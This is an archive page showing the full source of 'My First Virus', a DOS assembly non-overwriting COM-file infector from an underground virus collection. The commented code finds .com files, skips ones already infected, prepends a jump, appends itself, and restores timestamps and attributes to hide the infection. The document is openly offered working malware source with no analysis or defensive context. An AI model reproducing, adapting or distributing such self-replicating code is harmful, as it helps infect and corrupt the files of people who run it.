home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / 0-9 / 203.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  8.5 KB  |  188 lines

  1. ;******************************************************************
  2.  
  3. ;*                                                                *
  4.  
  5. ;*     My First Virus, a simple non-overwriting COM infector      *
  6.  
  7. ;*                                                                *
  8.  
  9. ;*                                  by, Solomon                   *
  10.  
  11. ;*                                                                *
  12.  
  13. ;******************************************************************
  14.  
  15.  
  16.  
  17.                   .model tiny                   ; Memory model
  18.  
  19.                   .code                         ; Start Code
  20.  
  21.                   org 100h                      ; Start of COM file
  22.  
  23.  
  24.  
  25. MAIN:             db 0e9h,00h,00h               ; Jmp START_VIRUS
  26.  
  27.  
  28.  
  29. START_VIRUS       proc near                     ; Real start of Virus
  30.  
  31.                   call FIND_OFFSET
  32.  
  33.  
  34.  
  35. ; Calculate change in offset from host program.
  36.  
  37.  
  38.  
  39. FIND_OFFSET:      pop bp                        ; BP holds current IP
  40.  
  41.                   sub bp, offset FIND_OFFSET    ; Calculate net change
  42.  
  43.                                                 ; Change BP to start of
  44.  
  45.                                                 ; virus code
  46.  
  47.  
  48.  
  49. ; Restore original bytes to the infected program.
  50.  
  51.  
  52.  
  53.                   lea si,[bp+ORIG_START]        ; Restore original 3 bytes
  54.  
  55.                   mov di,100h                   ; to 100h, start of file
  56.  
  57.                   push di                       ; Copy 3 bytes
  58.  
  59.                   movsw
  60.  
  61.                   movsb
  62.  
  63.  
  64.  
  65. ; Change the DTA from the default so FINDFIRST/FINDNEXT won't destroy
  66.  
  67. ; original command line parameters.
  68.  
  69.  
  70.  
  71.                   lea dx,[bp+NEW_DTA]           ; Point to new DTA area
  72.  
  73.                   call SET_DTA                  ; Go change it
  74.  
  75.  
  76.  
  77. ; DOS Findfirst / Findnext services
  78.  
  79.  
  80.  
  81.  
  82.  
  83. FINDFIRST:        mov ah,4eh                    ; DOS find first service
  84.  
  85.                   lea dx,[bp+COM_MASK]          ; Search for any COM file
  86.  
  87.                   xor cx,cx                     ; Attribute mask
  88.  
  89. FINDNEXT:         int 21h                       ; Call DOS to do it
  90.  
  91.                   jc QUIT                       ; Quit if there are errors
  92.  
  93.                                                 ; or no more files
  94.  
  95.  
  96.  
  97. ; Ok, if I am here, then I found a possible victim. Open the file and
  98.  
  99. ; check it for previous infections.
  100.  
  101.  
  102.  
  103.                   mov ax,3d00h                  ; DOS Open file, read only
  104.  
  105.                   lea dx,[bp+NEW_DTA+30]        ; Point to filename we found
  106.  
  107.                   int 21h                       ; Call DOS to do it
  108.  
  109.                   xchg ax,bx                    ; Put file handle in BX
  110.  
  111.  
  112.  
  113. ; Check file for previous infection by checking for our presence at
  114.  
  115. ; then end of the file.
  116.  
  117.  
  118.  
  119.                   mov ah,3fh                    ; DOS Read file
  120.  
  121.                   lea dx,[bp+ORIG_START]        ; Save the original header
  122.  
  123.                   mov cx,3                      ; Read 3 bytes
  124.  
  125.                   int 21h                       ; Call DOS to do it
  126.  
  127.                   mov ax,word ptr [bp+NEW_DTA+26]   ; Put filename in AX
  128.  
  129.                   mov cx,word ptr [bp+ORIG_START+1] ; Jmp offset
  130.  
  131.                   add cx,END_VIRUS-START_VIRUS+3; Convert to filesize
  132.  
  133.                   cmp ax,cx                     ; Compare file size's
  134.  
  135.                   jnz INFECT_COM                ; If healthy, go infect it
  136.  
  137.                   mov ah,3eh                    ; Otherwise close file and
  138.  
  139.                   int 21h                       ; try to find another victim
  140.  
  141.                   mov ah,4fh                    ; DOS find next file
  142.  
  143.                   jmp short FINDNEXT            ; Find another file
  144.  
  145.  
  146.  
  147. ; Restore default DTA and pass control back to original program.
  148.  
  149. ; Call any activation routines here.
  150.  
  151.  
  152.  
  153. QUIT:             mov dx,80h                    ; Restore original DTA
  154.  
  155.                   call SET_DTA                  ; Go change it
  156.  
  157.                   retn                          ; End Virus and start original
  158.  
  159.                                                 ; Program. Remember, DI holding
  160.  
  161.                                                 ; 100h was pushed on the stack.
  162.  
  163.  
  164.  
  165. ;*** Subroutine INFECT_COM ***
  166.  
  167.  
  168.  
  169. INFECT_COM:
  170.  
  171.  
  172.  
  173. ; Reset the file attributes to normal so I can write to the file
  174.  
  175.  
  176.  
  177.                   mov ax,4301h                  ; DOS change file attr
  178.  
  179.                   xor cx,cx                     ; Zero attributes
  180.  
  181.                   lea dx,[bp+NEW_DTA+30]        ; Point to filename in DTA
  182.  
  183.                   int 21h                       ; Call DOS to do it
  184.  
  185.  
  186.  
  187. ; Calculate jump offset for header of victim so it will run virus first.
  188.  
  189.  
  190.  
  191.                   mov ax,word ptr [bp+NEW_DTA+26] ; Put filesize in AX
  192.  
  193.                   sub ax,3                      ; Subtract 3, size-jmp_code
  194.  
  195.                   mov word ptr [bp+JMP_OFFSET],ax ; Store new offset
  196.  
  197.  
  198.  
  199. ; Close the file and reopen it for read/write. BX still holds file handle.
  200.  
  201.  
  202.  
  203.                   mov ah,3eh                    ; DOS close file
  204.  
  205.                   int 21h                       ; Call DOS to do it
  206.  
  207.                   mov ax,3d02h                  ; DOS open file, read/write
  208.  
  209.                   int 21h                       ; Call DOS to do it
  210.  
  211.                   xchg ax,bx                    ; Put file handle in BX
  212.  
  213.  
  214.  
  215. ; Write the new header at the beginning of the file.
  216.  
  217.  
  218.  
  219.                   mov ah,40h                    ; DOS write to file
  220.  
  221.                   mov cx,3                      ; Write 3 bytes
  222.  
  223.                   lea dx,[bp+HEADER]            ; Point to the 3 bytes to write
  224.  
  225.                   int 21h                       ; Call DOS to do it
  226.  
  227.  
  228.  
  229. ; Move to end of file so I can append the virus to it.
  230.  
  231.  
  232.  
  233.                   mov al,2                      ; Select end of file
  234.  
  235.                   call FILE_PTR                 ; Go to end of file
  236.  
  237.  
  238.  
  239. ; Append the virus to the end of the file.
  240.  
  241.  
  242.  
  243.                   mov ah,40h                    ; DOS write to file
  244.  
  245.                   mov cx,END_VIRUS-START_VIRUS  ; Length of virus
  246.  
  247.                   lea dx,[bp+START_VIRUS]       ; Start from beginning of virus
  248.  
  249.                   int 21h                       ; Call DOS to do it
  250.  
  251.  
  252.  
  253. ; Restore the file's original timestamp and datestamp.  These values were
  254.  
  255. ; stored in the DTA by the Findfirst / Findnext services.
  256.  
  257.  
  258.  
  259.                   mov ax,5701h                  ; DOS set file date & time
  260.  
  261.                   mov cx,word ptr [bp+NEW_DTA+22] ; Set time
  262.  
  263.                   mov dx,word ptr [bp+NEW_DTA+24] ; Set date
  264.  
  265.                   int 21h                       ; Call DOS to do it
  266.  
  267.  
  268.  
  269. ; Restore original file attributes.
  270.  
  271.  
  272.  
  273.                   mov ax,4301h                  ; DOS change file attr
  274.  
  275.                   mov cx,word ptr [bp+NEW_DTA+21] ; Get original file attr
  276.  
  277.                   lea dx,[bp+NEW_DTA+30]        ; Point to file name
  278.  
  279.                   int 21h                       ; Call DOS
  280.  
  281.  
  282.  
  283. ; Lastly, close the file and go back to main program.
  284.  
  285.  
  286.  
  287.                   mov ah,3eh                    ; DOS close file
  288.  
  289.                   int 21h                       ; Call DOS to do it
  290.  
  291.                   jmp QUIT                      ; We're done
  292.  
  293.  
  294.  
  295. ;*** Subroutine SET_DTA ***
  296.  
  297.  
  298.  
  299. SET_DTA           proc near
  300.  
  301.                   mov ah,1ah                    ; DOS set DTA
  302.  
  303.                   int 21h                       ; Call DOS to do it
  304.  
  305.                   retn                          ; Return
  306.  
  307. SET_DTA           endp
  308.  
  309.  
  310.  
  311.  
  312.  
  313. ;*** Subroutine FILE_PTR ***
  314.  
  315.  
  316.  
  317.  
  318.  
  319. FILE_PTR          proc near
  320.  
  321.                   mov ah,42h                    ; DOS set read/write pointer
  322.  
  323.                   xor cx,cx                     ; Set offset move to zero
  324.  
  325.                   cwd                           ; Equivalent to xor dx,dx
  326.  
  327.                   int 21h                       ; Call DOS to do it
  328.  
  329.                   retn                          ; Return
  330.  
  331. FILE_PTR          endp
  332.  
  333.  
  334.  
  335.  
  336.  
  337.  
  338.  
  339. ; This area will hold all variables to be encrypted
  340.  
  341.  
  342.  
  343. COM_MASK          db '*.com',0                  ; COM file mask
  344.  
  345.  
  346.  
  347. ORIG_START        db 0cdh,20h,0                 ; Header for infected file
  348.  
  349.  
  350.  
  351. HEADER            db 0e9h                       ; Jmp command for new header
  352.  
  353.  
  354.  
  355. START_VIRUS       endp
  356.  
  357.  
  358.  
  359. END_VIRUS         equ $                         ; Mark end of virus code
  360.  
  361.  
  362.  
  363. ; This data area is a scratch area and is not included in virus code.
  364.  
  365.  
  366.  
  367. JMP_OFFSET        dw ?                          ; Jump offset for new header
  368.  
  369. NEW_DTA           db 43 dup(?)                  ; New DTA location
  370.  
  371.  
  372.  
  373.                   end MAIN
  374.  
  375.